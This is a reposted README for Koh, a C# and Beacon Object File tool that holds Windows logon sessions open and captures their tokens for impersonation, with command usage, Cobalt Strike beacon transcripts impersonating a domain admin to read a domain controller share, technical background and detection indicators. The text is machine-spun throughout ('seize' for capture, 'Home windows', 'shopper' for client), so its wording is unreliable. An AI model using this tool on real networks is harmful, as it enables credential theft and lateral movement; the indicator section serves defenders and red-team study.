Tuesday, July 19, 2022
HomeHackerKoh - The Token Stealer

Koh – The Token Stealer


[*]



Koh is a C# and Beacon Object File (BOF) toolset that permits for the seize of person credential materials through purposeful token/logon session leakage.

Some code was impressed by Elad Shamir‘s Inner-Monologue undertaking (no license), in addition to KB180548. For why that is doable and Koh’s approeach, see the Technical Background part of this README.

For a deeper rationalization of the motivation behind Koh and its method, see the Koh: The Token Stealer publish.

@harmj0y is the first writer of this code base. @tifkin_ helped with the method, BOF implementation, and a few token mechanics.

Koh is licensed below the BSD 3-Clause license.

Koh Server

The Koh “server” captures tokens and makes use of named pipes for management/communication. This may be wrapped in Donut and injected into any high-integrity SYSTEM course of (see The Inline Shenanigans Bug).

Compilation

We aren’t planning on releasing binaries for Koh, so you’ll have to compile your self 🙂

Koh has been constructed towards .NET 4.7.2 and is appropriate with Visible Studio 2019 Neighborhood Version. Merely open up the undertaking .sln, select “Launch”, and construct. The Koh.exe meeting and Koh.bin Donut-built PIC shall be output to the principle listing. The Donut blob is each x86/x64 appropriate, and is constructed with the next choices utilizing v0.9.3 of Donut at ./Misc/Donut.exe:

  [ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort

Donut’s license is BSD 3-clause.

Usage

Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]

  • record – lists (non-network) logon periods
  • monitor – screens for brand spanking new/distinctive (non-network) logon periods
  • seize – captures one distinctive token per SID discovered for brand spanking new (non-network) logon periods

Group SIDs may be equipped command line as properly, inflicting Koh to observe/seize solely logon periods that include the desired group SIDs of their negotiated token data.

Instance – Itemizing Logon Classes

C:Temp>Koh.exe record

__ ___ ______ __ __
| |/ / / __ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . | `--' | | | | |
|__|__ ______/ |__| |__|
v1.0.0

[*] Command: record

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIREtestuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIREDA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
Person SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIREDA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIREharmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)

Instance – Monitoring for Logon Classes (with group SID filtering)

Solely lists outcomes which have the area admins (-512) group SID of their token data:

C:Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512

__ ___ ______ __ __
| |/ / / __ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . | `--' | | | | |
|__|__ ______/ |__| |__|
v1.0.0

[*] Command: monitor

[*] Beginning server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Focusing on group SIDs:
S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIREDA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
Person SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIREDA
LUID : 81492608
Lo gonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIREharmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)

Koh Consumer

The present usable shopper is a Beacon Object File at .ClientsBOF. Load the .ClientsBOFKohClient.cna aggressor script in your Cobalt Strike shopper to allow BOF management of the Koh server. The one requirement for utilizing captured tokens is SeImpersonatePrivilege. The communication named pipe has an “Everybody” DACL however makes use of a primary shared password (tremendous securez).

To compile recent on Linux utilizing Mingw, see the .ClientsBOFbuild.sh script. The one requirement (on Debian a minimum of) needs to be apt-get set up gcc-mingw-w64

Utilization

beacon> assist koh
koh record - lists captured tokens
koh teams LUID - lists the group SIDs for a captured token
koh filter record - lists the group SIDs used for seize filtering
koh filter add SID - provides a bunch SID for seize filtering
koh filter take away SID - removes a bunch SID from seize filtering
koh filter reset - resets the SID group seize filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh launch all - releases all captured tokens
koh launch LUID - releases the captured token for the desired LUID
koh exit - indicators the Koh server to exit

Group SID Filtering

The koh filter add S-1-5-21-<DOMAIN>-<RID> command will solely seize tokens that include the equipped group SID. This command may be run a number of occasions so as to add extra SIDs for seize. This can assist stop doable stability points as a consequence of a lot of token leaks.

Instance – Seize

“Captures” logon periods by negotiating usable tokens for every new session.

Server:

C:Temp>Koh.exe seize

__ ___ ______ __ __
| |/ / / __ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . | `--' | | | | |
|__|__ ______/ |__| |__|
v1.0.0

[*] Command: seize

[*] Beginning server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIREtestuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1119
Credential UserName : [email protected]
Origin LUID : 1677733 (0x1999a5)

[*] Efficiently negotiated a token for LUID 207990196 (hToken: 848)

[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIREDA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
Person SID : S-1-5-21-937929760-3187473010-80948926-1145
Credential UserName : [email protected]
Origin LUID : 1677765 (0x1999c5)

[*] Efficiently negotiated a token for LUID 81492692 (hToken: 976)

[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIREharmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
Person SID : S-1-5-21-937929760-3187473010-80948926-1104
Credential UserName : [email protected]
Origin LUID : 999 (0x3e7)

[*] Efficiently negotiated a token for LUID 1677733 (hToken: 980)

BOF shopper:

beacon> shell dir dc.theshire.localC$
[*] Tasked beacon to run: dir dc.theshire.localC$
[+] host known as house, despatched: 69 bytes
[+] acquired output:
Entry is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host known as house, despatched: 20 bytes
[*] You're NT AUTHORITYSYSTEM (admin)

beacon> koh record
[+] host known as house, despatched: 6548 bytes
[+] acquired output:
[*] Utilizing KohPipe : .pipeimposecost

[+] acquired output:

Username : THESHIRElocaladmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720

Username : THESHIREda (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765

Username : THESHIREharmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999

beacon> koh teams 67568439
[+] host known as house, despatched: 6548 bytes
[+] acquired output:
[*] Utilizing KohPipe : .pipeimposecost

[+] acquired output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host known as house, despatched: 6548 bytes
[+] acquired output:
[*] Utilizing KohPipe : .pipeimposecost

[+] acquired output:
[*] Enabled SeImpersonatePrivilege

[+] acquired output:
[*] Creating impersonation named pipe: .pipeimposingcost

[+] acquired output:
[*] Impersonation succeeded. Duplicating token.

[+] acquired output:
[*] Impersonated token efficiently duplicated.

[+] Impersonated THESHIREda

beacon> getuid
[*] Tasked beacon to get userid
[+] host known as house, despatched: 20 bytes
[*] You're THESHIREDA (admin)

beacon> shell dir dc.theshire.localC$
[*] Tasked beacon to run: dir dc.theshire.localC$
[+] host known as house, despatched: 69 bytes
[+] acquired output:
Quantity in drive dc.theshire.localC$ has no label.
Quantity Serial Quantity is A4FF-7240

Listing of dc.theshire.localC$

01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> Pe rfLogs
05/18/2022 01:27 PM <DIR> Program Information
04/15/2021 09:44 AM <DIR> Program Information (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> instruments
03/11/2022 04:10 PM <DIR> Customers
06/21/2022 01:30 PM <DIR> Home windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free

Technical Background

When a brand new logon session is estabslished on a system, a brand new token for the logon session is created by LSASS utilizing the NtCreateToken() API name and returned by the caller of LsaLogonUser(). This will increase the ReferenceCount subject of the logon session kernel construction. When this ReferenceCount reaches 0, the logon session is destroyed. Due to the data described within the Why This Is Potential part, Home windows programs will NOT launch a logon session if a token deal with nonetheless exists to it (and subsequently the reference depend != 0).

So if we are able to get a deal with to a newly created logon session through a token, we are able to preserve that logon session open and later impersonate that token to make the most of any cached credentials it comprises.

Why This Is Potential

In accordance to this publish by a Microsoft engineer:

After MS16-111, when safety tokens are leaked, the logon periods related to these safety tokens additionally stay on the system till all related tokens are closed... even after the person has logged off the system. If the tokens related to a given logon session are by no means launched, then the system now additionally has a everlasting logon session leak as properly.

MS16-111 was utilized again to Home windows 7/Server 2008, so this method needs to be efficient for every part besides Server 2003 programs.

Method

Enumerating logon periods is straightforward (from an elevated context) by way of the usage of the LsaEnumerateLogonSessions() Win32 API. What’s tougher is taking a selected logon session identifier (LUID) and by some means getting a usable token linked to that session.

Potential Approaches

We brainstormed a couple of methods to a) maintain open logon periods and b) abuse this for token impersonation/use of cached credentials.

  1. The primary method was to make use of NtCreateToken() which lets you specify a logon session ID (LUID) to create a brand new token.
    • Sadly, you want SeCreateTokenPrivilege which is historically solely held by LSASS, that means it’s essential steal LSASS’ token which is not very best.
    • One chance was so as to add SeCreateTokenPrivilege to NT AUTHORITYSYSTEM through LSA coverage modification, however this would want a reboot/new logon session to specific the brand new person rights.
  2. You can even deal with simply RemoteInteractive logon periods by utilizing WTSQueryUserToken() to get tokens for brand spanking new desktop periods to clone.
    • That is the method apparently demonstrated by Ryan.
    • Sadly this misses newly created native periods and incoming periods created from issues like PSEXEC.
  3. On a brand new logon session, open up a deal with to each reachable course of and enumerate all present handles, cloning the token linked to the brand new logon session.
    • This requires opening up a number of processes/handles, which seems to be very suspicious.
  4. The AcquireCredentialsHandle()/InitializeSecurityContext()/AcceptSecurityContext() method described beneath, which is what we went with.

Our Method

The SSPI AcquireCredentialsHandle() name has a pvLogonID subject which states:

A pointer to a regionally distinctive identifier (LUID) that identifies the person. This parameter is supplied for file-system processes akin to community redirectors. 

Be aware: As a way to make the most of a logon session LUID with AcquireCredentialsHandle() you want SeTcbPrivilege, nonetheless that is often simpler to get than SeCreateTokenPrivilege.

Utilizing this name whereas specifying a logon session ID/LUID seems to extend the ReferenceCount for the logon session construction, stopping it from being launched. Nevertheless, we’re not introduced with one other downside: given a “leaked”/held open logon session, how can we get a usable token from it? WTSQueryUserToken() solely works with desktop periods, and there is not any userland API that we might discover that allows you to map a LUID to a usable token.

Nevertheless we are able to use two extra SSPI features, InitializeSecurityContext() and AcceptSecurityContext() to behave as shopper and server to ourselves, negotiating a brand new safety context that we are able to then use with QuerySecurityContextToken() to get a usable token. This was documented in KB180548 (mirrored by PKISolutions right here) for the needs of credential validation. This can be a related method to Inner-Monologue, besides we’re finishing the complete handshake course of, producing a token, after which holding that for later use.

Filtering can then be achieved on the token itself, through CheckTokenMembership() or GetTokenInformation(). For instance, we might launch any tokens apart from ones belonging to area admins, or particular teams we wish to goal.

Benefits/Disadvantages Versus Conventional Credential Extraction

Benefits

  • Works for each native and inbound (non-network) logons.
  • Works for inbound periods created through Kerberos and NTLM.
  • Doesn’t require opening up a deal with to a number of processes.
  • Does not create a brand new logon occasion or logon session.
  • Does not create extra occasion logs on the DC outdoors of regular system ticket renewal habits (I do not suppose?)
  • No default lifetime on the tokens (I do not suppose?) so entry ought to work so long as the captured account’s credentials do not change and the system doesn’t reboot.
  • Reuses respectable captured auth on a system, so ought to “mix with the noise” fairly properly.

Disadvantages

  • Entry is simply usable so long as the system does not reboot.
  • Does not allow you to reuse entry on different programs
    • Nevertheless, and present ticket/credential extraction can nonetheless be achieved on the leaked logon session.
  • Could trigger instability if a lot of periods are leaked (although this may be mitigated with token group SID filtering) and limiting the utmost variety of captured tokens (default of 1000 right here).

The Inline Shenanigans Bug

I have been coding for a good period of time. This is among the weirder and frustrating-to-track-down bugs I’ve hit shortly – please assist me with this lol.

  • When the Koh.exe meeting is run from an elevated (however non-SYSTEM) context, every part works correctly.

  • If the Koh.exe meeting is run through Cobalt Strike’s Beacon fork&run course of with execute-assembly from an elevated (however non-SYSTEM) context, every part works correctly.

  • If the Koh.exe meeting is run inline (through InlineExecute-Meeting or Inject-Meeting) for a Cobalt Strike Beacon that is operating in a SYSTEM context, every part works correctly.

  • Nevertheless If the Koh.exe meeting is run inline (through InlineExecute-Meeting or Inject-Meeting) for a Cobalt Strike Beacon that is operating in an elevated, however not SYSTEM, context, the decision to AcquireCredentialsHandle() fails with SEC_E_NO_CREDENTIALS and every part fails ¯_(ツ)_/¯

We have now tried (with no success):

  • Spinning off every part to a separate thread, specifying a STA thread condominium.
  • Making an attempt to diagnose RPC weirdness (nonetheless extra to research right here).
  • Utilizing DuplicateTokenEx and SetThreadToken as a substitute of ImpersonateLoggedOnUser.
  • Checking if we’ve the right SeTcbPrivilege proper earlier than the AcquireCredentialsHandle name (we do).

For all intents and functions, the thread context proper earlier than the decision to AcquireCredentialsHandle works on this context, however the consequence errors out. And we do not know why.

You probably have an concept of what this is perhaps, please tell us! And if you wish to attempt taking part in round with an easier meeting, take a look at the AcquireCredentialsHandle repo on my GitHub for troubleshooting.

IOCs

To cite @tifkin_ “All the pieces is stealthy till somebody is in search of it.” Whereas Koh’s method is barely completely different than others, there are nonetheless IOCs that can be utilized to detect it.

The distinctive TypeLib GUID for the C# Koh collector is 4d5350c8-7f8c-47cf-8cde-c752018af17e as detailed within the Koh.yar Yara rule on this repo. If this isn’t modified on compilation, it needs to be a really excessive constancy indicator of the Koh server.

When the Koh server begins is opens up a named pipe known as .pipeimposecost that stays open so long as Koh is operating. The default password used for Koh communication is password, so sending password record to any .pipeimposecost pipe will allow you to affirm if Koh is certainly operating. The default impersonation pipe used is .pipeimposingcost.

If Koh begins in an elevated context however not as SYSTEM, a deal with/token clone of winlogon is carried out to carry out a getsystem kind elevation.

I am positive that no attackers will change the symptoms talked about above.

There are possible some RPC artifacts for the token seize that we’re hoping to research. We are going to replace this part of the README if we discover any extra detection artifacts alongside these traces. Hooking of among the possibly-uncommon APIs utilized by Koh (LsaEnumerateLogonSessions or the particular AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, particularly utilizing a LUID in AcquireCredentialsHandle) may very well be explored for effectiveness, however alas, I’m not an EDR.

TODO

  • Further testing within the lab and subject. Potential considerations:
    • Stability in manufacturing environments, particularly intentional token leakage inflicting points on highly-trafficked servers
    • Complete precise efficient token lifetime
  • “Distant” shopper that permits for monitoring by way of the Koh named pipe remotely
  • Implement extra purchasers (PowerShell, C#, C++, and so on.)
  • Repair the Inline Shenanigans Bug


[*]

RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments